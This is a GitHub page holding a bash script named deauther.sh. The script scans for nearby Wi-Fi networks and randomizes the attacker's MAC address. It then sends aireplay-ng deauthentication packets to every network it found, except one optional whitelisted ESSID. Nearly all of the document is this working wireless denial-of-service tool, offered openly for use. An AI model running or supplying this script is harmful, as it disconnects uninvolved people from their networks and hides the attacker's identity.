-
Notifications
You must be signed in to change notification settings - Fork 1
/
deauther.sh
276 lines (242 loc) · 9.69 KB
/
deauther.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
#!/usr/bin/env bash
#MIT License
#Copyright (c) 2020 Javier Vidal Ruano
#Permission is hereby granted, free of charge, to any person obtaining a copy
#of this software and associated documentation files (the "Software"), to deal
#in the Software without restriction, including without limitation the rights
#to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
#copies of the Software, and to permit persons to whom the Software is
#furnished to do so, subject to the following conditions:
#The above copyright notice and this permission notice shall be included in all
#copies or substantial portions of the Software.
#THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
#IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
#FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
#AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
#LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
#OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
#SOFTWARE.
## FUNCTIONS
# Sends $PACKETS packets to $SSID network using the $INTERFACE interface. Makes sense right?
function attack(){
INTERFACE=$1
SSID=$2
PACKETS=$3
echo "[*] Attacking ${ESSID} - ${SSID} on channel ${CHANNEL} with ${PACKETS} packets"
aireplay-ng ${INTERFACE} -0 ${PACKETS} -a ${SSID} >/dev/null 2>&1 && return 0 || return 1
}
# Checks the arguments passed to the tool
function checkArguments(){
trap '' 2
if [ $# -eq 2 ];then
INTERFACE=$1
WHITELISTED_ESSID=$2
echo "[*] WHITELISTED_ESSID set to ${WHITELISTED_ESSID}"
return 0
elif [ $# -eq 1 ];then
INTERFACE=$1
WHITELISTED_ESSID=''
return 0
else
usage
return 1
fi
}
# Check if the system meets the required dependencies
function checkDependencies(){
echo "[*] Checking dependencies"
if [ -z $(which macchanger) ]; then
echo "[-] You need to have installed macchanger"
return 1
fi
if [ -z $(which aircrack-ng) ]; then
echo "[-] You need to have installed aircrack-ng"
return 1
fi
echo "[*] All dependencies satisfied"
return 0
}
# Checks the exit code of the functions and if not, ouputs error message and exits
function checkExitCode(){
trap '' 2
if [ $1 -ne 0 ]; then
echo "[-] Error: $2"
exit
else
return 0
fi
}
# Checks if the wireless interface is in managed mode
function checkManagedMode(){
local INTERFACE=$1
local MODE=$(iwconfig 2>/dev/null | grep -E "${INTERFACE}" -A1 | grep "Mode" | cut -d ':' -f 2 | cut -d' ' -f1 | cut -d' ' -f1)
echo "[*] Interface ${INTERFACE} is in ${MODE} mode"
if [ $MODE = 'Managed' ]; then
return 0
else
return 1
fi
}
# Checks if the wireless interface is in monitor mode
function checkMonitorMode(){
local INTERFACE=$1
local MODE=$(iwconfig 2>/dev/null | grep -E "${INTERFACE}" -A1 | grep "Mode" | cut -d ':' -f 2 | cut -d' ' -f1 | cut -d' ' -f1)
echo "[*] Interface ${INTERFACE} is in ${MODE} mode"
if [ $MODE = 'Monitor' ]; then
return 0
else
return 1
fi
}
# Checks if the wireless interface provided is available
function checkWirelessInterface () {
local INTERFACE=$1
local INTERFACE_FOUND=0
for INT in $(ifconfig -a | sed 's/[ \t].*//;/^$/d' | grep 'w' | tr -d ':'); do
if [ $INTERFACE = $INT ]; then
INTERFACE_FOUND=1
break
fi
done
if [ $INTERFACE_FOUND -eq 0 ]; then
echo "[-] Error: Could not detect any wireless interfaces up and running"
return 1
else
echo "[*] Wireless interface ${INTERFACE} is up and running"
return 0
fi
}
# Puts the wireless interface in monitor mode
function monitorMode(){
trap '' 2
INTERFACE=$1
echo "[*] Putting interface ${INTERFACE} in monitor mode"
ifconfig ${INTERFACE} down && iwconfig ${INTERFACE} mode monitor && ifconfig ${INTERFACE} up && echo "[*] Interface ${INTERFACE} is now on monitor mode" && return 0 || checkExitCode $? "monitorMode"
}
# Puts the wireless interface in managed mode
function managedMode(){
trap '' 2
INTERFACE=$1
echo "[*] Putting interface ${INTERFACE} in managed mode"
ifconfig ${INTERFACE} down && iwconfig ${INTERFACE} mode managed && ifconfig ${INTERFACE} up && echo "[*] Interface ${INTERFACE} is now on managed mode" && return 0 || checkExitCode $? "managedMode"
}
# Sets a random MAC for the wireless interface
function randomizeMAC(){
trap '' 2
INTERFACE=$1
echo "[*] Randomizing the MAC of the wireless interface"
ifconfig ${INTERFACE} down && macchanger -A ${INTERFACE} > /dev/null 2>&1 && ifconfig ${INTERFACE} up && echo "[*] MAC of the wireless interface randomized" && return 0 || return 1
}
# Sets the hardware MAC for the wireless interface
function resetMAC(){
trap '' 2
INTERFACE=$1
echo "[*] Resetting the MAC of the wireless interface"
ifconfig ${INTERFACE} down && macchanger -p ${INTERFACE} > /dev/null 2>&1 && ifconfig ${INTERFACE} up && echo "[*] MAC of the wireless interface resetted to hardware MAC" && return 0 || return 1
}
# Restarts the networking services
function restartNetworkingServices(){
echo "[*] Restarting the networking services"
service networking restart && service inetsim restart && return 0 || return 1
}
# Scans for networks and parses the output so we end up with the SSID, frequency, quality and ESSID of the networks, separated by spaces
function scanAndParse(){
INTERFACE=$1
SCAN=$(iwlist $INTERFACE scan | grep -E 'Cell|ESSID|Frequency|Quality')
declare -a NETWORKS
local COUNTER=-1
while IFS= read -r LINE; do
echo $LINE | grep Address >/dev/null 2>&1 && ADDRESS=$(echo $LINE | grep Address)
if [ $? -eq 0 ]; then
let COUNTER++
fi
echo $LINE | grep Frequency >/dev/null 2>&1 && FREQUENCY=$(echo $LINE | grep Frequency)
echo $LINE | grep Quality >/dev/null 2>&1 && QUALITY=$(echo $LINE | grep Quality)
ESSID=$(echo $LINE | grep ESSID)
if [ $? -ne 1 ]; then
NETWORKS[COUNTER]="$ADDRESS $FREQUENCY $QUALITY $ESSID"
fi
done <<< "$SCAN"
for NETWORK in "${NETWORKS[@]}"; do
echo $NETWORK
done
}
# Sets the channel of the wireless interface
function setChannel(){
INTERFACE=$1
CHANNEL=$2
iwconfig ${INTERFACE} channel ${CHANNEL} && echo "[*] Channel of the interface ${INTERFACE} set to ${CHANNEL}" && return 0 || return 1
}
# Outputs the usage
function usage(){
echo "[*] Usage: ./deauther.sh <INTERFACE> [WHITELISTED_ESSID]"
}
## MAIN
declare WHITELISTED_ESSID
declare INTERFACE
declare MAX_FAIL_COUNT=5
checkArguments $@
checkExitCode $? "checkArguments"
checkDependencies
checkExitCode $? "checkDependencies"
checkWirelessInterface ${INTERFACE}
checkExitCode $? "checkWirelessInterface"
checkManagedMode $INTERFACE
if [ $? -eq 1 ]; then
managedMode $INTERFACE
checkExitCode $? "managedMode"
fi
# Scan for available networks and send output to file
trap '' 2 # Ignore SIGINT
echo "[*] Scanning for avaiable networks"
sleep 5 # Give the wireless interface time to get ready
scanAndParse $INTERFACE | cut -d ' ' -f 4- > deauther_networks_temp.lst
checkExitCode $? "scanAndParse"
sleep 5 # Give the wireless interface time to get ready
scanAndParse $INTERFACE | cut -d ' ' -f 4- >> deauther_networks_temp.lst
checkExitCode $? "scanAndParse"
sleep 5 # Give the wireless interface time to get ready
scanAndParse $INTERFACE | cut -d ' ' -f 4- >> deauther_networks_temp.lst
checkExitCode $? "scanAndParse"
cat deauther_networks_temp.lst | sort -u > deauther_networks.lst
checkExitCode $? "sortNetworksList"
rm -rf deauther_networks_temp.lst
checkExitCode $? "removeTemporalNetworksList"
trap 2 # Stop ignoring SIGINT
# Randomize the MAC of the wireless interface
randomizeMAC ${INTERFACE}
# Put the wireless interface in monitor mode
checkMonitorMode $INTERFACE
if [ $? -eq 1 ]; then
monitorMode $INTERFACE
checkExitCode $? "monitorMode"
fi
# Read the file of networks to deauth (deauther_networks.lst)
FAIL_COUNT=0
while IFS= read -r LINE; do
SSID=$(echo $LINE | cut -d' ' -f2)
CHANNEL=$(echo $LINE | cut -d' ' -f6 | cut -d')' -f1)
ESSID=$(echo $LINE | cut -d'"' -f2)
if [[ "$ESSID" == "$WHITELISTED_ESSID" ]]; then
continue
fi
PACKETS=5
setChannel ${INTERFACE} ${CHANNEL} >/dev/null 2>&1 && attack ${INTERFACE} ${SSID} ${PACKETS}
if [ $? -ne 0 ]; then
let FAIL_COUNT++
fi
if [ $FAIL_COUNT -ge $MAX_FAIL_COUNT ]; then
echo "[-] Too many errors while trying to attack ${ESSID}:${SSID} on channel ${CHANNEL} with ${PACKETS} packets"
break
fi
done < deauther_networks.lst
# Reset the MAC of the wireless interface
trap '' 2
resetMAC ${INTERFACE}
# Put the wireless interface in managed mode
echo "[*] Done"
managedMode $INTERFACE
checkExitCode $? "managedMode"
# Restart the networking services
restartNetworkingServices
checkExitCode $? "restartNetworkingServices"